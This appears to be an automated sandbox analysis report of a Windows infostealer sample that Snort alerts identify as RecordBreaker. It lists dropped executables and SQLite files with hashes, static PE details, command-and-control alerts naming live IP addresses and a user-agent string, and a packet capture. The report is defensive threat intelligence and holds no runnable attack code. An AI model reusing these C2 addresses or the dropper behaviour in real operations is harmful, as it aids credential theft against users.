SSDEEP:	3072:W0dFQl2pjXihBUEEoRq6er7A6Yf+3ltXaukKhwR:W0LQkVyhBU+c6eXA6b3lHwR
MD5:	F73A4B5748204D1623CA82FCE7B170F8
SHA1:	F3D8CA5F9EF7F260B0669C29018EF84EF7F2AFD4
SHA-256:	E1DFC10AA9E928193BA3F34260F353F066EE04F2DE3D93E8BE50704B14E9D607
SHA-512:	5DFC02617ADB33CE851AFF924AA01D1D54C224882FBA595D1B5A85A01C8C8A495B54F2B32D118584ED77100E0C053698000D2D9F1C53BB6D59E8E67426B8C408
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Local\Temp\144C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\253.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	679936
Entropy (8bit):	7.889244227649686
Encrypted:	false
SSDEEP:	12288:eXDfwGHmnTxDkpJf6UdYVMtIqZONCBuVEQ32uO7QDnJSzVKxZOlsoe0PX:eDGORl5tI+S32/7QDJ4K/YPX
MD5:	D8A18175CDDDF3915358213914DC8EB9
SHA1:	0C51A93A7476891AF1A617F4436326CDE3EF5781
SHA-256:	5B049964157937146523B1A1CAEFA69A927AA46DBB1A0DCE7871826BAD7EFFFA
SHA-512:	8297764F0867BDDE7F4D98E5EAD6C1DEA40469EB9D935A2355484E35324B8C206DA15796F81EE9FD00A1B83F4B6BDD28D65FCF084EB0B1B3313DBDF8648603D3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..............N1......N'................D....N ......N0......N5.....Rich............PE..L...9..a.....................R.......K............@.......................... .................................................P........K..........................................................0,..@............................................text............................... ..`.data............4..................@....rsrc....K.......L..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5A6F.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4393511334109407
Encrypted:	false
SSDEEP:	24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
MD5:	8C31C5487A97BBE73711C5E20600C1F6
SHA1:	D4D6B04226D8FFC894749B3963E7DB7068D6D773
SHA-256:	A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
SHA-512:	394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\64FF.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	modified
Size (bytes):	94208
Entropy (8bit):	1.2889923589460437
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJP/6oVuss8Ewn7PrH944:QS/inXrVuss8Ewn7b944
MD5:	7901DD9DF50A993306401B7360977746
SHA1:	E5BA33E47A3A76CC009EC1D63C5D1A810BE40521
SHA-256:	1019C8ADA4DA9DEF665F59DB191CA3A613F954C12813BE5907E1F5CB91C09BE9
SHA-512:	90C785D22D0D7F5DA90D52B14010719A5554BB5A7F0029C3F4E11A97AD72A7A600D846174C7B40D47D24B0995CDBAC21E255EC63AC9C07CF6E106572EA181DD5
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\959.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2624689
Entropy (8bit):	6.219735995622874
Encrypted:	false
SSDEEP:	24576:wEMtlaEDmxWVYOYtKjWVIUvuMB1d87Lzdzvg7/AfTx7lJIDLbSZGl3RuQ553136:wjlHKxYBxlsIfTx7lJIDi0l3U
MD5:	130142D90FF770C5628ABCC833585D0B
SHA1:	34CA95435ED8BC4D545C28F8E1A6A6B6E8C950B3
SHA-256:	134C0DE6766F425D22122D39081786F9C42E8205772CB21C3B4EFC2C526888E8
SHA-512:	93C4C30233AD367C8BE9773F58465ECE1A46B199497F98A0659E0A75E14C8D06937A11D56B3288E422F9901FDD86EC7DFA73DF43C677178CCD83074F6333DAA3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@.:c.x...[...........f........................@..........................0.......#(....... .................................X............................................................o......................0................................text...Hd.......f..................`.P`.data...<............j..............@.`..rdata...5.......6..................@.`@/4..................................@.0@.bss..................................`..idata..X...........................@.0..CRT....4...........................@.0..tls................................@.0./14.................................@.@B/29.....o...........................@..B/41.....Y............$..............@..B/55.....nf.......h...B..............@..B/67.....8....0......................@.0B/80.....D....@......................@..B/91.........P......................@..B/102.................d..

C:\Users\user\AppData\Local\Temp\FED8.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1323008
Entropy (8bit):	7.856211151221828
Encrypted:	false
SSDEEP:	24576:KtAdxxejFTVAIWACMbKiW49UBDIPXqXYRkyXB7b5kCLMdl88j8ipxv/TR54F:DeBR2ACM1QIPyYZB79x+8G5p1/z4F
MD5:	4B7103B0104193655FC525E90D5DDB9E
SHA1:	E54D3510F1821A0BB6E29612005E27AC94591771
SHA-256:	2696C088AC6B8A927C936D6BD50E5396526D71405A8F9EDD0620B085A5308403
SHA-512:	84CF73BDC4139D5CF2CF1E15098A05C4ECDDFA6296CDC63443B02183F9438B95845D619B65245AA78BEBAE38151D23D0ACED42572D03A48D447F40FD713C225C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 30%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...//B*.................T..........h`.......p....@.............................................................................\|........l.......................7..................................................................................CODE.....S.......T.................. ..`DATA..... ...p..."...X..............@...BSS..................z...................idata..\|............z..............@....reloc...7.......8..................@..P.rsrc....l.......l..................@..P................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\sfrvjvv

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	150016
Entropy (8bit):	7.026777813646962
Encrypted:	false
SSDEEP:	1536:QvUCiG3nFYWlYNrlaREKm/FvwUMaNualmNH/gAsuaiug5i9CnXMji/7WDP8QOS7j:Gzi3/adkvwYWHfrcOhXMj8WocEl4EsO
MD5:	417429FD2A6EFC7F87C32696C8545146
SHA1:	04624A0080341CC2409F76BD1F5D9DEF049F46A9
SHA-256:	D15624ABF29EC8F68092007B8359B03182E3A82B0D8B8C3CD72F1D765E8CA1BB
SHA-512:	6228D5D3F0C30AD84AEC299726AB380CFC73CB39C77423C68F7E992CE581BE1C768C0C4E0D3C7056D58A5B155CF88D4532B5354F24DFAF1A2D885E9BAF6D01F9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..............N1......N'................D....N ......N0......N5.....Rich............PE..L...Zm.`.....................8.......K............@............................................................................P........K..........................................................0,..@............................................text............................... ..`.data...............................@....rsrc....K.......L..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\sfrvjvv:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\wjsucgc

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.99926196063922
Encrypted:	true
SSDEEP:	6144:TYmClBaYtaOsKuv/LlShAXC+3qlo3W/By+903rkS5Vf9u:hCz13eShAXRoo3oBUbkS5FI
MD5:	0A082EB27B237498808D32A17B3CE44D
SHA1:	91B265E184E31ADE2D77ABB27D3195BE902B7F16
SHA-256:	8BADF1AEF2CC24E70AFBF34214F628D0C5645B04DDC490DABE41514FB05F1421
SHA-512:	107273CF332A21B68E8C231A7DE482390CE49812DF13FFC92857768F76440E98FF5B627FC03DCE02554F4DF2226E7306FADEA4399BA50192C74A149DBD63F9D8
Malicious:	false
Preview:	...y.P&.Z...!.....WiP..Ag........t..Dc...K...q..S........2L........;.`Hy........H...B....s....Z....v......q<...C....9M3.......I.5.V.h{C`Q....9I......y......HC...........1\|..t...B.@F...(..........~...A..u.0..M..=......Z{........{.@6P..fJ.X....+.P....&........b..5.'Ld4.k...#..M.....}........=...pgV......RR.r...p.Q.G..2V#......v.SB.....@.`....W...W..!....78l.&./1.'+....~.d...&..S..7u.9.+.}..pfS..O.S.l.......:..3.....K/..Q......3#.8-w3..+......^v.i...9G..O...5..H..~.T.)..v.d\|0..\..S......%.. ...d.M.NK....'vE.v2=.....D.}?^<.......L..f@.1...MR..Yg........_3..?.qH^..%rh;...lFC~.=.:1. .......F./:a...&.p.K..I.I..?o..n....f.x;.p.Hz;....Z..w.f.Z....B.P..d.Q0......2p.}...c.Q..+.H..*.&....U..G..N..a........Zt.M.....6_.?.=..+...~K1s.............r...0d..y5.w.Bd+=..c..\|....#...^......bC.!.D...#.........0."...}.N....Nd..8....&O..W^.5de._...^....h-.P......;1.as.c.e....KHot.C...Cn.... ..."H.IQ........zu.. .yZ.(p.d...l4.....z.<..&.-..>.JS....5Z..S.$.

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\959.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.1709505944546685
Encrypted:	false
SSDEEP:	3:BXxX2Xn:hxg
MD5:	5BFA42CC537113132361E5365E83890F
SHA1:	061959C59F11674A488E276B1024E9ED4F9C60B4
SHA-256:	5C4D51FD2BF2841C3B7396C88957FC96FC05283FB15F78D92693FB7EE901B430
SHA-512:	726A7D4940EAEEE129B1DCDD1234007CA3CF2B1A3E5CFE233D9FF8D7E9B2E02A9B764C355C5EB4DAB654036CA1F9EEF067AFFAC4BDBA3AD48628368FE4D398B3
Malicious:	false
Preview:	5124532452

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.026777813646962
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	150016
MD5:	417429fd2a6efc7f87c32696c8545146
SHA1:	04624a0080341cc2409f76bd1f5d9def049f46a9
SHA256:	d15624abf29ec8f68092007b8359b03182e3a82b0d8b8c3cd72f1d765e8ca1bb
SHA512:	6228d5d3f0c30ad84aec299726ab380cfc73cb39c77423c68f7e992ce581be1c768c0c4e0d3c7056d58a5b155cf88d4532b5354f24dfaf1a2d885e9baf6d01f9
SSDEEP:	1536:QvUCiG3nFYWlYNrlaREKm/FvwUMaNualmNH/gAsuaiug5i9CnXMji/7WDP8QOS7j:Gzi3/adkvwYWHfrcOhXMj8WocEl4EsO
TLSH:	86E3D0113A93C073C05A5D729C71D591BA7BB961AB74888B3798067E4F723D29E3B30B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}...............N1......N'.................D....N ......N0......N5.....Rich............PE..L...Zm.`.....................8.....

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General

Entrypoint:	0x404bf7
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x60E96D5A [Sat Jul 10 09:50:18 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	c9c09dee9cb4e9617f155f42be2e2cc0

Entrypoint Preview

Instruction
call 00007F5FE46522DBh
jmp 00007F5FE464EE6Dh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F5FE464F016h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F5FE464F040h
test ecx, 00000003h
jne 00007F5FE464EFE1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F5FE464EFDAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F5FE464F024h
test ah, ah
je 00007F5FE464F016h
test eax, 00FF0000h
je 00007F5FE464F005h
test eax, FF000000h
je 00007F5FE464EFF4h
jmp 00007F5FE464EFBFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
cmp ecx, dword ptr [0042032Ch]
jne 00007F5FE464EFF4h
rep ret
jmp 00007F5FE46522C3h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe0fc	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17c000	0x4bf8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1210	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2c30	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1d8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xdbf4	0xdc00	False	0.48473011363636365	data	5.914436003779315	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xf000	0x16c5bc	0x11e00	False	0.8917313155594405	data	7.604983717212248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x17c000	0x4bf8	0x4c00	False	0.7269736842105263	data	6.370629414374759	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x17c2b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0
RT_ICON	0x17cb58	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0
RT_ICON	0x17f100	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0
RT_STRING	0x1803a8	0x42	data
RT_STRING	0x1803f0	0x280	data
RT_STRING	0x180670	0x3ce	data
RT_STRING	0x180a40	0x1b2	data
RT_ACCELERATOR	0x1801d8	0x80	data
RT_GROUP_ICON	0x1801a8	0x30	data
RT_VERSION	0x180268	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
None	0x180258	0xa	data

Imports

DLL	Import
KERNEL32.dll	LoadLibraryA, InterlockedPushEntrySList, GetConsoleAliasesA, ReadFile, ReadConsoleW, GetVolumeInformationA, GetComputerNameA, LocalFree, InterlockedDecrement, SetSystemTimeAdjustment, SetLocaleInfoA, FindNextVolumeA, FindNextChangeNotification, CopyFileExA, MoveFileWithProgressW, VerifyVersionInfoW, LocalSize, FileTimeToDosDateTime, DebugBreak, GlobalGetAtomNameA, IsBadWritePtr, FindResourceA, GetComputerNameExA, GetProcAddress, GetStringTypeW, GetFileTime, GetConsoleAliasesLengthW, GetVolumeNameForVolumeMountPointA, DeleteVolumeMountPointA, GetCPInfo, GetQueuedCompletionStatus, MoveFileWithProgressA, CopyFileA, lstrcpynW, WriteConsoleW, GetBinaryTypeW, WriteConsoleOutputA, GetCommandLineA, InterlockedIncrement, CreateActCtxW, FormatMessageA, GetModuleHandleW, GetModuleHandleA, EnterCriticalSection, GetStringTypeExA, OpenMutexW, FindResourceW, RtlCaptureContext, InterlockedExchange, InitializeCriticalSectionAndSpinCount, DeleteFiber, InterlockedExchangeAdd, EnumDateFormatsA, GetPrivateProfileStructA, GetNamedPipeHandleStateW, RegisterWaitForSingleObject, LocalAlloc, QueryMemoryResourceNotification, SetLastError, GetProcessPriorityBoost, GetMailslotInfo, HeapWalk, SetFilePointer, SetConsoleMode, RaiseException, RtlUnwind, GetLastError, MoveFileA, DeleteFileA, GetStartupInfoA, HeapAlloc, HeapFree, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, VirtualAlloc, HeapReAlloc, HeapSize, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, MultiByteToWideChar, LCMapStringA, LCMapStringW
USER32.dll	CharUpperBuffW
WINHTTP.dll	WinHttpCreateUrl

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
193.38.55.180192.168.2.780497032036955 10/03/22-17:35:23.024597	TCP	2036955	ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response	80	49703	193.38.55.180	192.168.2.7
192.168.2.7193.38.55.18049703802038916 10/03/22-17:35:31.206670	TCP	2038916	ET TROJAN Win32/RecordBreaker - Observed UA M3 (TakeMyPainBack)	49703	80	192.168.2.7	193.38.55.180
192.168.2.7193.38.55.18049703802036934 10/03/22-17:35:22.638036	TCP	2036934	ET TROJAN Win32/RecordBreaker CnC Checkin M1	49703	80	192.168.2.7	193.38.55.180

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2022 17:34:50.812690020 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:50.845045090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:50.845161915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:50.845271111 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:50.845396996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:50.877378941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:50.877407074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016848087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016887903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016912937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016937971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016952991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.016962051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.016988039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017013073 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.017014980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017033100 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.017041922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017069101 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017077923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.017100096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017113924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017132044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.017282009 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.061980963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062014103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062038898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062064886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062088966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062093973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062114000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062136889 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062139034 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062163115 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062169075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062194109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062206984 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062218904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062243938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062258959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062269926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062294960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062315941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062319040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062344074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062364101 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062367916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062392950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062407017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062417030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062439919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062458992 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062468052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062491894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062511921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.062516928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062541008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.062556028 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104000092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104034901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104062080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104087114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104089975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104111910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104134083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104137897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104162931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104166985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104188919 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104212999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104212999 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104240894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104257107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104268074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104293108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104311943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104317904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104343891 CEST	80	49702	104.21.93.30	192.168.2.7
